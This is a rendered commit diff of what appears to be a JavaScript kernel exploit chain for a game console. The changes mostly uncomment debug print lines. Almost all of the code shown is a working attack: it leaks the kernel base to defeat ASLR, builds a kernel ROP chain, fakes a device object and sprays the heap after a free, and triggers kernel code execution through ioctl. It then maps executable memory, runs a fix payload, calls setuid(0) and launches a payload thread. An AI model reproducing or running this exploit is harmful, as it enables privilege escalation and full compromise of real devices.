|
396 | 396 |
|
397 | 397 | if(kexploitCheck == 0)
|
398 | 398 | {
|
399 |
| - //print("Status: Kernel Patched!"); |
| 399 | + print("Status: Kernel Patched!"); |
400 | 400 | }
|
401 | 401 |
|
402 | 402 | if(kexploitCheck != 0)
|
403 | 403 | {
|
404 |
| - //print("Status: Kernel Not Patched..."); |
| 404 | + print("Status: Kernel Not Patched..."); |
405 | 405 | print("=== Starting Kernel Exploit Chain ===");
|
406 | 406 |
|
407 | 407 | //////////////// SETUP ////////////////
|
408 | 408 |
|
409 |
| - //print("Allocating Buffers..."); |
| 409 | + print("Allocating Buffers..."); |
410 | 410 |
|
411 | 411 | // Setup buffers for important pre-exploit stuff
|
412 | 412 | var kernelBase = malloc(0x08);
|
|
437 | 437 |
|
438 | 438 | //////////////// LEAK ////////////////
|
439 | 439 |
|
440 |
| - //print("Calculating ASLR and Object Base..."); |
| 440 | + print("Calculating ASLR and Object Base..."); |
441 | 441 |
|
442 | 442 | p.write8(namedObj, p.syscall('sys_namedobj_create', stringify("debug"), 0xDEAD, 0x5000));
|
443 | 443 |
|
|
462 | 462 | return false;
|
463 | 463 | }
|
464 | 464 |
|
465 |
| - //print("Kernel base: 0x" + kernelBase); |
466 |
| - //print("Object leak: 0x" + objBase); |
| 465 | + print("Kernel base: 0x" + kernelBase); |
| 466 | + print("Object leak: 0x" + objBase); |
467 | 467 |
|
468 | 468 | p.write8(serviceBuff.add32(0x4), objBase);
|
469 | 469 | p.writeString(serviceBuff.add32(0x28), "debug");
|
470 | 470 |
|
471 | 471 | //////////////// BUILD KROP CHAIN ////////////////
|
472 |
| - //print("Building Kernel ROP Chain..."); |
| 472 | + print("Building Kernel ROP Chain..."); |
473 | 473 |
|
474 | 474 | var kchainstack = malloc(0x200);
|
475 | 475 | var kchain = new krop(p, kchainstack);
|
|
524 | 524 | kchain.push(window.gadgets["pop rsp"]);
|
525 | 525 | kchain.push(window.gadgets["push rax; jmp rcx"]);
|
526 | 526 |
|
527 |
| - //print("KROP chain size: " + kchain.count); |
| 527 | + print("KROP chain size: " + kchain.count); |
528 | 528 |
|
529 | 529 | //////////////// FAKE THE OBJECT ////////////////
|
530 |
| - //print("Creating Fake Object..."); |
| 530 | + print("Creating Fake Object..."); |
531 | 531 |
|
532 | 532 | //////// FAKE CDEV_PRIV ////////
|
533 | 533 | p.write8(obj_cdev_priv.add32(0x008), 0x0000000000000004);
|
|
549 | 549 | p.write8(obj_cdevsw.add32(0x38), libcBase.add32(0xa826f)); // d_ioctl - TARGET FUNCTION POINTER
|
550 | 550 |
|
551 | 551 | //////////////// FREE THE OBJECT ////////////////
|
552 |
| - //print("Freeing the object!"); |
| 552 | + print("Freeing the object!"); |
553 | 553 |
|
554 | 554 | var stage3 = new saferop(p, undefined);
|
555 | 555 |
|
556 | 556 | stage3.call(libkernel.add32(window.syscalls[window.syscallnames['sys_mdbg_service']]), 1, serviceBuff, 0);
|
557 | 557 | stage3.call(libkernel.add32(window.syscalls[window.syscallnames['sys_namedobj_delete']]), p.read8(namedObj), 0x5000);
|
558 | 558 |
|
559 |
| - //print("Spraying the heap!"); |
| 559 | + print("Spraying the heap!"); |
560 | 560 |
|
561 | 561 | for(var i = 0; i < 500; i++)
|
562 | 562 | {
|
|
566 | 566 | stage3.run();
|
567 | 567 |
|
568 | 568 | //////////////// TRIGGER ////////////////
|
569 |
| - //print("Triggering kernel code execution"); |
| 569 | + print("Triggering kernel code execution"); |
570 | 570 |
|
571 | 571 | p.syscall('sys_ioctl', p.read8(targetDevFd), 0x81200000, obj_cdev_priv);
|
572 | 572 |
|
573 | 573 | //////////////// FIX ////////////////
|
574 |
| - //print("Allocating executable memory for fix payload..."); |
| 574 | + print("Allocating executable memory for fix payload..."); |
575 | 575 |
|
576 | 576 | var baseAddressExecute = new int64(0xDEAD0000, 0);
|
577 | 577 | var exploitExecuteAddress = p.syscall("sys_mmap", baseAddressExecute, 0x10000, 7, 0x1000, -1, 0);
|
|
587 | 587 | p.write4(shellcode.add32(i * 4), fix[i]);
|
588 | 588 | }
|
589 | 589 |
|
590 |
| - //print("Running fix payload..."); |
| 590 | + print("Running fix payload..."); |
591 | 591 |
|
592 | 592 | var stage6 = new saferop(p, undefined);
|
593 | 593 |
|
|
603 | 603 | // Display results
|
604 | 604 | print("=== Verifying kexploit patches ===");
|
605 | 605 |
|
606 |
| - //print("setuid(0): " + p.syscall('sys_setuid', 0)); |
607 |
| - //print("getuid(): " + p.syscall('sys_getuid')); |
| 606 | + print("setuid(0): " + p.syscall('sys_setuid', 0)); |
| 607 | + print("getuid(): " + p.syscall('sys_getuid')); |
608 | 608 |
|
609 | 609 | // Create payload memory
|
610 | 610 | print("=== Launching Payload ===");
|
|
636 | 636 | for (;;)
|
637 | 637 | {
|
638 | 638 | var result = p.call(libkernel.add32(0x11570), thread_id_ptr, 0, code_addr, 0, thread_name);
|
639 |
| - //print("scePthreadCreate: 0x" + result); |
| 639 | + print("scePthreadCreate: 0x" + result); |
640 | 640 | if (result == 0)
|
641 | 641 | {
|
642 | 642 | var thread_id = p.read8(thread_id_ptr);
|
643 |
| - //print("thread: 0x" + thread_id); |
| 643 | + print("thread: 0x" + thread_id); |
644 | 644 | var result = p.call(libkernel.add32(0x11610), thread_id, exit_code_ptr);
|
645 | 645 |
|
646 |
| - //print("scePthreadJoin: 0x" + result); |
| 646 | + print("scePthreadJoin: 0x" + result); |
647 | 647 | if (result == 0)
|
648 | 648 | {
|
649 | 649 | var exit_code = p.read8(exit_code_ptr);
|
650 |
| - //print("exit code: " + exit_code); |
| 650 | + print("exit code: " + exit_code); |
651 | 651 | print("=== Done ===");
|
652 |
| - alert(document.getElementById("console").innerHTML); |
| 652 | + alert("Done"); |
653 | 653 | break;
|
654 | 654 | }
|
655 | 655 | }
|
|
0 commit comments